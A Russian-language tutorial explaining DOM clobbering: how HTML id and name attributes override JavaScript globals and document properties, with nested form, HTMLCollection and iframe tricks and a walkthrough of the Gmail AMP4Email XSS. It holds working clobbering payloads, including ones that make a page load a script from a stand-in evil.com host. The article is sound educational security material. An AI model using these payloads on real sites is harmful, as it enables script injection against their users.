Может ли HTML влиять на JavaScript - Введение в DOM clobbering
Знали ли вы, что HTML также может влиять на JavaScript не только с помощью Prototype Pollution?
Все мы знаем, что JavaScript может манипулировать HTML с помощью DOM API. Но как HTML может влиять на выполнение JavaScript? Именно здесь и начинается самое интересное.
Прежде чем мы начнем, давайте начнем с небольшой забавной задачи.
Предположим, у вас есть следующий фрагмент кода с кнопкой и скриптом:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<button id="btn">click me</button>
<script>
// TODO: add click event listener to button
document.getElementById('btn').addEventListener('click', function() {
alert('Button clicked!');
});
</script>
</body>
</html>
Теперь попробуйте реализовать функцию вызова "alert(1)" при нажатии на кнопку с помощью "самого короткого кода" внутри тега <script>.
Например, с помощью такого кода:
document.getElementById('btn')
.addEventListener('click', () => {
alert(1);
});
Каким был бы ваш ответ, чтобы сделать код как можно короче?
Прежде чем продолжить, подумайте над вопросом. Как только у вас будет ответ, продолжим!
Quantum Entanglement of DOM and window
Знали ли вы, что элементы внутри DOM могут влиять на объект window?
Оказалось, что когда вы определяете элемент с id в HTML, вы можете напрямую получить к нему доступ в JavaScript:
<button id="btn">click me</button>
<script>
console.log(window.btn); // <button id="btn">click me</button>
</script>
Из-за области видимости, вы даже можете получить к нему доступ напрямую, используя просто btn, поскольку текущая область будет искать вверх, пока не найдет window.
Так что ответ на предыдущий вопрос:
btn.onclick=()=>alert(1)
Нет необходимости в getElementById или querySelector. Просто используйте переменную с тем же именем, что и id, чтобы получить доступ к объекту.
Это поведение явно определено в спецификации под пунктом 7.3.3 Named access on the Window object:

Здесь есть два ключевых момента:
1. Значение атрибута name для всех элементов embed, form, img и object, которые имеют непустой атрибут name. 2. Значение атрибута id для всех HTML-элементов, которые имеют непустой id атрибут.
Это означает, что наряду с использованием id для прямого доступа к элементам через window, вы также можете использовать атрибут name для доступа к элементам <embed>, <form>, <img>, <object>:
<embed name="a"></embed><form name="b"></form><img name="c" /><object name="d"></object>
Понимание этой спецификации приводит нас к выводу:
Мы можем влиять на JavaScript через элементы HTML.
Эту технику можно использовать для атак, известных как DOM clobbering. Впервые я столкнулся с термином "clobbering" в контексте этой атаки, что означает "перезапись". Он относится к использованию DOM для перезаписи определенных элементов для достижения атаки.
Введение в DOM Clobbering
При каких обстоятельствах мы можем использовать DOM clobbering для атак?
Во-первых, должна быть возможность отображать наш пользовательский HTML на странице; в противном случае это невозможно.
Так что потенциальный сценарий атаки может выглядеть так:
<!DOCTYPE html>
<html>
<body>
<h1>Comments</h1>
<div>
You comment: hello
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script');
script.src = window.TEST_SCRIPT_SRC;
document.body.appendChild(script);
}
</script>
</body>
</html>
Допустим, есть доска комментариев, где вы можете ввести любой контент. Однако ввод проходит обработку на стороне сервера, удаляя все, что может выполнить JavaScript. Так что <script></script> удаляется, и атрибут onerror из <img src=x onerror=alert(1)> отбрасывается. Многие полезные нагрузки XSS не сработают.
Вкратце, вы не можете выполнить JavaScript для достижения XSS, потому что все такие попытки попадают под фильтрацию.
Однако, по различным причинам, HTML-теги не фильтруются, поэтому вы можете внедрить пользовательский HTML. Пока JavaScript не выполняется, вы можете вставить любой HTML-тег и установить любой атрибут.
Так что вы можете сделать следующее
<<!DOCTYPE html>
<html>
<body>
<h1>Comments</h1>
<div>
Your comment:
<div id="TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script');
script.src = window.TEST_SCRIPT_SRC;
document.body.appendChild(script);
}
</script>
</body>
</html>
Опираясь на приобретенные выше знания, вы можете вставить тег с id "TEST_MODE" - <div id="TEST_MODE"></div>. Таким образом, JavaScript if (window.TEST_MODE) пройдет, потому что window.TEST_MODE будет этим элементом div.
Затем мы можем использовать <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a> чтобы сделать window.TEST_SCRIPT_SRC строкой, которую мы хотим получить после конвертации.
В большинстве случаев простого переопределения переменной с помощью HTML-элемента недостаточно. Например, если вы преобразуете window.TEST_MODE в код на вышеуказанного сниппета в строку и напечатаете его:
// <div id="TEST_MODE" />console.log(window.TEST_MODE + '')
Результат будет: [object HTMLDivElement].
Преобразование HTML-элемента в строку приведет к этому формату, который в данном случае не пригоден для использования. Однако, к счастью, есть два элемента в HTML, которые обрабатываются по-разному при преобразовании в строку, <base> и <a>:

Источник: 4.6.3 API for a and area elements
Эти два элемента возвращают URL при вызове toString, и мы можем установить URL, используя атрибут href, что позволяет нам контролировать содержимое после toString.
Итак, объединяя вышеуказанные методы, мы узнали:
1. Мы можем использовать HTML с атрибутом id для изменения переменных JavaScript. 2. Использование <a> с href и id чтобы сделать результат toString элемента желаемым значением.
Используя эти две техники в соответствующем контексте, мы можем потенциально скомпрометировать DOM.
Однако важно помнить: если переменная, которую вы хотите атаковать, уже существует, её нельзя переопределить с помощью DOM. Например:
<!DOCTYPE html>
<html>
<head>
<script>
TEST_MODE = 1;
</script>
</head>
<body>
<div id="TEST_MODE"></div>
<script>
console.log(window.TEST_MODE); // 1
</script>
</body>
</html>
Вложенное DOM Clobbering
В предыдущем примере мы использовали DOM для переопределения window.TEST_MODE и создания неожиданного поведения. Но что, если целью переопределения является объект? Возможно ли это?
Например, window.config.isTest, можем ли мы его переопределить с помощью DOM clobbering?
Есть несколько способов переопределить это. Первый - использование иерархической структуры HTML-тегов, в частности элемента form:
В HTML spec есть раздел, где говорится:

Мы можем использовать form[name] или form[id] для доступа к его дочерним элементам, например:
<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="isTest" />
<button id="isProd"></button>
</form>
<script>
console.log(config); // <form id="config">
console.log(config.isTest); // <input name="isTest" />
console.log(config.isProd); // <button id="isProd"></button>
</script>
</body>
</html>
Таким образом, мы можем создать два уровня компрометации DOM. Однако стоит отметить: здесь нет <a>, поэтому результат toString будет в непригодном для использования виде.
Более вероятная возможность для эксплуатации - когда вам нужно переопределить что-то, к чему обращаются с помощью свойства value, например: config.environment.value. В этом случае вы можете использовать атрибут value <input> для его переопределения:
<!DOCTYPE html>
<html>
<body>
<form id="config">
<input name="enviroment" value="test" />
</form>
<script>
console.log(config.enviroment.value); // test
</script>
</body>
</html>
Простыми словами, можно переопределить только встроенные атрибуты, другие - нет.
В дополнение к использованию иерархической природы самого HTML, можно использовать также HTMLCollection.
В раннее упомянутом разделе "Именованный доступ к объекту Window" в спецификации указано:

Если есть несколько вещей для возврата, возвращается HTMLCollection.
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config"></a>
<script>
console.log(config); // HTMLCollection(2)
</script>
</body>
</html>
Итак, что мы можем сделать с HTMLCollection? В 4.2.10.2. Interface HTMLCollection упоминается, что мы можем получить доступ к элементам внутри HTMLCollection с использованием имени или id.

Вот так:
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config" name="apiUrl" href="https://evil.com"></a>
<script>
console.log(config.apiUrl + ''); // https://evil.com
</script>
</body>
</html>
Вы можете генерировать HTMLCollection, используя один и тот же id, а затем использовать имя для извлечения конкретного элемента из HTMLCollection, достигая двухуровневого вложения.
И если мы сочетаем <form> с HTMLCollection, мы можем достичь трех уровней:
<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value); // 123
</script>
</body>
</html>
Используя один и тот же id, мы позволяем config иметь доступ к HTMLCollection. Затем, используя config.prod, можно извлечь элемент с именем "prod" из HTMLCollection, который является формой. Далее, мы используем form.apiUrl для доступа к входу под формой, и, наконец, используем value для извлечения его атрибута.
Так что, если желаемый атрибут является HTML-атрибутом, мы можем получить четыре уровня взаимодействия; в противном случае, мы можем использовать только три уровня.
Однако в Firefox всё немного по-другому. В Firefox не возвращается HTMLCollection. Например, с тем же кодом:
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config"></a>
<script>
console.log(config); // <a id="config"></a>
</script>
</body>
</html>
В Firefox он будет выводить только первый элемент <a>, а не HTMLCollection. Поэтому, в Firefox, мы можем использовать только <form>, а также <iframe>, который будет упомянут позже.
Более сложное вложение
Предыдущее упоминание о трёх уровнях или условные четыре уровня уже являются пределом. Есть ли способ преодолеть это ограничение?
Согласно методу, описанному в DOM Clobbering strikes back, мы можем достичь этого, используя iframes!
Когда вы создаете iframe и даёте ему имя, вы можете получить доступ к window внутри iframe, используя это имя. Это может быть сделано так:
<!DOCTYPE html>
<html>
<body>
<iframe name="config" srcdoc=' <a id="apiUrl"></a> '></iframe>
<script>
setTimeout(() => {
console.log(config.apiUrl); // <a id="apiUrl"></a>
}, 500);
</script>
</body>
</html>
Причина использования setTimeout здесь заключается в том, что iframes не загружаются синхронно, поэтому нам нужно некоторое время, чтобы правильно получить доступ к содержимому внутри iframe.
С помощью iframes мы можем создать ещё больше уровней:
<!DOCTYPE html>
<html>
<body>
<iframe name="moreLevel" srcdoc='
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
'></iframe>
<script>
setTimeout(() => {
console.log(moreLevel.config.prod.apiUrl.value); // 123
}, 500);
</script>
</body>
</html>
Если вам нужно больше уровней, вы можете использовать этот полезный инструмент, созданный @splitline: DOM Clobber3r
Расширение поверхности атаки через document
Как упоминалось ранее, возможность использовать DOM clobbering не велика, поскольку код должен сначала использовать глобальную переменную, которая не объявлена. Обычно такие ситуации находятся ESLint во время разработки, так что как это все угодило в интернет?
Сила DOM clobbering заключается в том, что, помимо window, есть несколько элементов, которые вместе с именем могут повлиять на document.
Давайте рассмотрим пример, чтобы понять:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<img name="cookie">
<form id="test">
<h1 name="lastElementChild">I am first child</h1>
<div>I am last child</div>
</form>
<embed name="getElementById"></embed>
<script>
console.log(document.cookie); // <img name="cookie">
console.log(document.querySelector('#test').lastElementChild); // <div>I am last child</div>
console.log(document.getElementById); // <embed name="getElementById"></embed>
</script>
</body>
</html>
Здесь мы использовали HTML-элемент для влияния на document. Изначально document.cookie должен отображать куки, но теперь это стал элемент <img name=cookie>. Кроме того, lastElementChild, который должен возвращать последний элемент, переопределён именем под формой, что приводит к извлечению элемента с таким же именем.
Даже document.getElementById может быть переопределён с помощью DOM, что вызывает ошибку при вызове document.getElementById(), что может вызвать сбой всей страницы.
В задачах CTF это часто используется в сочетании с ранее упомянутым загрязнением прототипа для достижения импакта:
<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"></head><body> <img <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<img name="cookie">
<script>
// Assumed we can pollute an attribute to a custom function
Object.prototype.toString = () => 'a=1';
console.log(`cookie: ${document.cookie}`); // cookie: a=1
</script>
</body>
</html>
Почему так происходит?
Теперь, document.cookie - это HTML-элемент. Используя синтаксис шаблона, если содержимое не является строкой, автоматически вызывается метод toString. однако HTML-элементы сами по себе не реализуют toString. Следовательно, согласно цепочке прототипов, в конечном итоге вызывается наше загрязнённое Object.prototype.toString, возвращая загрязненный результат.
Комбинируя эти уязвимости, мы можем манипулировать значением document.cookie и таким образом влиять на последующий поток.
DOMPurify, о котором упоминалось ранее, на самом деле обрабатывает эту часть специально при санитизации:
//
https://github.com/cure53/DOMPurify/blob/d5060b309b5942fc5698070fbce83a781d31b8e9/src/purify.js#L1102
const _isValidAttribute = function (lcTag, lcName, value) {
/* Make sure attribute cannot clobber */
if (
SANITIZE_DOM &&
(lcName === 'id' || lcName === 'name') &&
(value in document || value in formElement)
) {
return false;
}
// ...
}
Если значения id или name уже существуют в document или formElement, он пропускает предотвращение компрометации DOM против документа и формы.
Что касается ранее упомянутого Sanitizer API, спецификация ясно гласит: "Sanitizer API не защищает от атак DOM clobbering в своем изначальном состоянии."
Он не предоставляет защиту от DOM clobbering по умолчанию.
Анализ случая: Gmail AMP4Email XSS
В 2019 году была обнаружена уязвимость в Gmail, которую можно было эксплуатировать с помощью DOM clobbering. Подробный обзор можно найти здесь: XSS in GMail’s AMP4Email via DOM Clobbering. Ниже я кратко объясню процесс (контент взят из вышеупомянутой статьи).
В Gmail вы можете использовать некоторые функции AMP, и у Google есть строгий валидатор для этого формата, что делает сложной задачу проведения XSS-атак обычными методами.
Однако кто-то обнаружил, что возможно установить id на HTML-элементе. Они обнаружили, что при установке <a id="AMP_MODE"> в консоли происходит ошибка, указывающая на ошибку загрузки скрипта с частью URL, являющейся undefined. Изучив код внимательно, они нашли фрагмент кода, который выглядел так:
var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation;
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist";
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
script.src = loc + "/rtv/" + AMP_MODE.rtvVersion + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(script);
Если мы можем сделать AMP_MODE.test и AMP_MODE.localDev истинными, и установить window.testLocation, мы можем загрузить любой скрипт, который захотим!
Таким образом, эксплуатация выглядела бы так:
// clobber AMP_MODE.test and AMP_MODE.localDev<a id="AMP_MODE" name="localDev"></a><a id="AMP_MODE" name="test"></a>// set testLocation.protocol<a id="testLocation"></a><a id="testLocation" name="protocol" href="https://evil.сom/raw/0tn8z0rG#"></a>
Наконец, успешная загрузка любого скрипта позволяет достичь XSS!
Однако автору удалось дойти только до этого шага, прежде чем он был заблокирован CSP, что показывает, что CSP все еще очень полезен
Это один из самых известных примеров DOM clobbering, и исследователем, который обнаружил эту уязвимость, является Михаэль Бентковски, который создал множество классических случаев, упомянутых ранее при обсуждении Mutation XSS и загрязнения прототипа.
Заключение
Хотя варианты использования DOM clobbering ограничены, это действительно интересный метод атаки! Более того, если вы не знаете об этой функции, вы никогда не подумали бы, что HTML может использоваться для влияния на содержимое глобальных переменных.
Если вас заинтересовала эта техника атаки, вы можете ознакомиться со статьей PortSwigger, в которой представлены две лаборатории, где вы можете лично попробовать этот метод атаки. Просто чтения о нем недостаточно; вам нужно реально применить это для полного понимания.
Ссылки:
1. http://blog.zeddyu.info/2020/03/04/Dom-Clobbering/#HTML-Relationships 2. DOM Clobbering strikes back https://portswigger.net/research/dom-clobbering-strikes-back 3. DOM Clobbering Attack https://wonderkun.cc/2020/02/15/DOM%20Clobbering%20Attack%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/ 4. DOM Clobbering https://ljdd520.github.io/2020/03/14/DOM-Clobbering%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/ 5. XSS in GMail’s AMP4Email via DOM Clobbering https://research.securitum.com/xss-in-amp4email-dom-clobbering/ 6. Is there a spec that the id of elements should be made global variable? https://stackoverflow.com/questions/6381425/is-there-a-spec-that-the-id-of-elements-should-be-made-global-variable 7. Why don't we just use element IDs as identifiers in JavaScript? https://stackoverflow.com/questions/25325221/why-dont-we-just-use-element-ids-as-identifiers-in-javascript 8. Do DOM tree elements with ids become global variables? https://stackoverflow.com/questions/3434278/do-dom-tree-elements-with-ids-become-global-variables
Last updated